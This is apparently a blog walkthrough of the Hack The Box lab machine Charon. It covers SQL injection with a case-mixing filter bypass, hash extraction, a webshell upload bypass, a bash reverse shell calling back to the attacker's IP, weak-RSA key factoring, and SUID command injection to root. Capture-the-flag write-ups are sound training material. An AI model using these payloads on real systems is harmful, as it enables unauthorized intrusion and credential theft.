Post

Hackthebox - Charon

writeup of the HTB machine Charon

Enumeration

Beginning with a nmap scan on all ports I find the ports 22 and 80 open

1
2
3
4
$ sudo nmap -sS -p- --open -n -Pn --min-rate=5000 10.10.10.31
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Visiting the website I find a yogurt website with a “powered by: supercms” at the bottom

fuzzing for directories I find a cmsdata folder

1
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.31/FUZZ -t 100

I get a 403 forbidden while trying to access it

1
2
3
4
$ curl -s -X GET http://10.10.10.31/cmsdata/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>

I proceed to fuzz for files, there is a login.php and forgot.php with a 200 status

1
2
3
4
5
6
7
8
9
10
11
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common_all_cases.txt -u http://10.10.10.31/cmsdata/FUZZ -t 100  -fc 403 -e .php,.html,.txt
...<snip>...
css                     [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 114ms]
forgot.php              [Status: 200, Size: 6322, Words: 663, Lines: 97, Duration: 117ms]
images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 116ms]
include                 [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 114ms]
js                      [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 112ms]
login.php               [Status: 200, Size: 6426, Words: 664, Lines: 98, Duration: 115ms]
menu.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 118ms]
scripts                 [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 116ms]
upload.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 116ms]

Exploit

SQLI on forget.php

In login.php I try to login with different credentials and trying sql injections but the only thing that changes is the url parameter to err=1 “http://10.10.10.31/cmsdata/login.php?err=1”

Proceed to click on forgot password, testing for a SQLI results in a message saying “Error In Database”

I will be sending the requests throught cURL so I grab the parameter names which are “email” and “submit”

retrieving valid emails

Testing for other sql injections I end up with the following that retrieves a valid email and limits the result to a specific index in this case test1, for limit 1,1 it will be test2@aa.com=>test2 and so on

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' or 1=1 limit 0,1-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Email sent to: test1@aa.com=>test1 

with a for loop I can retrieve all the emails looking for the ones that are different from “test”, I end up finding two valid emails

1
2
3
$ for i in {0..999}; do (curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' or 1=1 limit $i,1-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}')& ; done | grep -vE "test|User not found with that email"
 Email sent to: adm@nowhere.com=>super_cms_adm    
 Email sent to: decoder@nowhere.com=>decoder   

union injection

Trying with a “union” and “UNION” injection results in an error

1
2
3
 $ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' union select 1,2,3,4-- -" -d "submit=submit"
Error                                                                                                                                        $ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' UNION select 1,2,3,4-- -" -d "submit=submit"
Error 

To bypass it, it is needed to mix uppercase and lowercase letters

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,2,3,4-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Incorrect format  

To fix the incorrect format error an email has to be placed in one of the tags from the union select injection, in this case is in the 4th one

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,2,3,\"x@charon.htb\"-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Email sent to: x@charon.htb=>2    

retrieving databases

proceeding with the injections I begin by retrieving the databases, in this case to reflect the injection it was needed to place a group_concat(schema_name) in the second tag from the union injection, group_concat will group all the output in one line.

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,group_concat(schema_name),3,\"x@charon.htb\" from information_schema.schemata-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Email sent to: x@charon.htb=>information_schema,supercms  

retrieving tables

retrieving the tables from the database

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,group_concat(table_name),3,\"x@charon.htb\" from information_schema.tables where table_schema=\"supercms\"-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Email sent to: x@charon.htb=>groups,license,operators

retrieving columns

retrieving the columns from the tables of the database

1
2
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,group_concat(column_name),3,\"x@charon.htb\" from information_schema.columns where table_schema=\"supercms\" and table_name=\"operators\"-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}'
 Email sent to: x@charon.htb=>id,__username_,__password_,email 

retrieving data

retrieve all data from the columns where the email is not “test”, resulting tin the retrieval of md5 hashed passwords

1
2
3
$ curl -s -X POST http://10.10.10.31/cmsdata/forgot.php -d "email=admin@charon.htb' Union select 1,group_concat(__username_,0x3a,__password_,0x3a,email),3,\"x@charon.htb\" from operators where email not like '%test%'-- -" -d "submit=submit" | grep "<h2>" | awk -F'<h2>' '{print $2}' | tr "," "\n"
 Email sent to: x@charon.htb=>super_cms_adm:0b0689ba94f94533400f4decd87fa260:adm@nowhere.com
decoder:5f4dcc3b5aa765d61d8327deb882cf99:decoder@nowhere.com

cracking passwords

The hashes are cracked with crackstation

shell as www-data

file upload exploit

logging with the credentials super_cms_adm:tamarro shows the following panel

I click on Upload_Image_FIle which shows the following

Trying to upload a webshell results in an error of invalid extension

If the request is intercepted with burpsuite and replace a legitimate image with a webshell the result is another error saying that it requires a valid image or gif extension

Inspecting the site I find a hidden parameter

To uncomment that field I first reload the site while intercepting the request, once the request is intercept I do right click > do intercept > response to this request and I uncomment the field on the new response

remove the hidden type from the input

decode the field name

another field appears in the website

this field allows to change the filename of the uploaded file

to exploit this first I upload an image with a filename shell.php

I change the file content to a webshell

a success message confirms the upload

and I’m able to execute commands remotely

sending a request to the webshell allows me to get a reverse shell

1
http://10.10.10.31/images/shell.php?x=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.13/9001%200%3E%261%22
1
2
3
4
5
6
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.31] 50430
bash: cannot set terminal process group (1357): Inappropriate ioctl for device
bash: no job control in this shell
www-data@charon:/var/www/html/freeeze/images$ 

To stabilize the shell I do

  • script /dev/null -c bash
  • ctrl z
  • stty raw -echo ; fg
  • reset xterm
  • export TERM=xterm
  • stty rows 39 columns 155 (change this to your terminal size, check stty size to know your terminal dimensions)

shell as decoder

the user www-data is able to list and read some files from /home/decoder

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@charon:/home/decoder$ ls
decoder.pub  pass.crypt  user.txt
www-data@charon:/home/decoder$ cat decoder.pub 
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3
mI9wJizmFJhrAgMBAAE=
-----END PUBLIC KEY-----
www-data@charon:/home/decoder$ ls -l  
total 12
-rw-r--r-- 1 decoder freeeze 138 Jun 23  2017 decoder.pub
-rw-r--r-- 1 decoder freeeze  32 Jun 23  2017 pass.crypt
-r-------- 1 decoder freeeze  33 Aug 21 17:18 user.txt
www-data@charon:/home/decoder$ 

There is a public file and an encrypted password, since the public key is small the process of creating the private key can be done to decrypt the pass.crypt file

Decrypting the Encrypted Key

Extract the Modulus from the Public Key

First, I imported the public key using Python’s Crypto library to extract the modulus.

1
2
3
4
5
6
7
8
9
$ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from Crypto.PublicKey import RSA
>>> f = open("decoder.pub", "r")
>>> key = RSA.importKey(f.read())
>>> key.n
85161183100445121230463008656121855194098040675901982832345153586114585729131

Factorize the Modulus

I took the modulus and used the Alpertron ECM tool to factorize it. The factors were:

1
2
3
4
5
6
>>> p = 280651103481631199181053614640888768819
>>> q = 303441468941236417171803802700358403049
>>> p*q
85161183100445121230463008656121855194098040675901982832345153586114585729131
>>> key.e
65537

Generate the Private Key

Next, I used a Python script to calculate the private exponent ddd and construct the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse

# Given values
p = 280651103481631199181053614640888768819
q = 303441468941236417171803802700358403049
n = p * q
e = 65537

# Calculate φ(n)
phi_n = (p - 1) * (q - 1)

# Calculate d (the private exponent)
d = inverse(e, phi_n)

# Construct the private key
private_key = RSA.construct((n, e, d, p, q))

# Save the private key to a file
with open("private_key.pem", "wb") as f:
    f.write(private_key.export_key())

Decrypt the Encrypted File

With the private key generated, I used OpenSSL to decrypt the pass.crypt file and read the contents from it.

1
2
3
4
$ openssl pkeyutl -decrypt -inkey private_key.pem -in pass.crypt -out decrypted_file

$ cat decrypted_file
nevermindthebollocks

using the password I was able to switch the user to decoder

1
2
3
4
5
www-data@charon:/home/decoder$ su decoder
Password: 
decoder@charon:~$ id
uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze)
decoder@charon:~$ 

shell as root

looking for files with suid permission I find a supershell one

1
2
decoder@charon:~$ find / -type f -perm -4000 2>/dev/null 
/usr/local/bin/supershell

doing a “strings” on supershell I find that the only command allowed is /bin/ls, but I’m able to inject commands

1
2
3
4
5
6
7
decoder@charon:/usr/local/bin$ ./supershell '/bin/ls $(touch file)'
Supershell (very beta)
++[/bin/ls $(touch file)]
file  supershell
decoder@charon:/usr/local/bin$ ls
file  supershell
decoder@charon:/usr/local/bin$ 

This allows me to get a shell as root by setting the suid privilege on /bin/bash

1
2
3
4
5
6
7
8
9
decoder@charon:/usr/local/bin$ ./supershell '/bin/ls $(chmod u+s /bin/bash)'
Supershell (very beta)
++[/bin/ls $(chmod u+s /bin/bash)]
file  supershell
decoder@charon:/usr/local/bin$ bash -p
bash-4.3# id
uid=1001(decoder) gid=1001(freeeze) euid=0(root) groups=1001(freeeze)
bash-4.3# cat /root/root.txt 
f812af812a
This post is licensed under CC BY 4.0 by the author.